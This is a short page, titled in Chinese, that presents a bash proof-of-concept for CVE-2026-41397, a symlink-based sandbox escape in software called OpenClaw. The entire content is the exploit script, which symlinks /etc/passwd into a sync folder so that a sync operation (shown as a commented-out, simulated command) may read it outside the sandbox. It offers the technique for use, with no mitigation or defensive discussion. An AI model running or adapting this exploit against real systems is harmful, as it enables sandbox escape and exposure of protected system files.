CVE-2026-41397 OpenClaw沙箱逃逸漏洞

#!/bin/bash # PoC for CVE-2026-41397: OpenClaw Sandbox Escape via Symlink # This script demonstrates how a symlink can be created to point outside the sandbox. # 1. Create a malicious directory structure inside the sync folder mkdir -p /tmp/sync_folder/exploit # 2. Create a symbolic link pointing to a sensitive file outside the sandbox (e.g., /etc/passwd) ln -s /etc/passwd /tmp/sync_folder/exploit/escaped_file.txt # 3. Trigger the OpenClaw sync operation (simulated command) # openclaw-client --sync /tmp/sync_folder echo "Malicious symlink created. If OpenClaw syncs this folder, it may read /etc/passwd."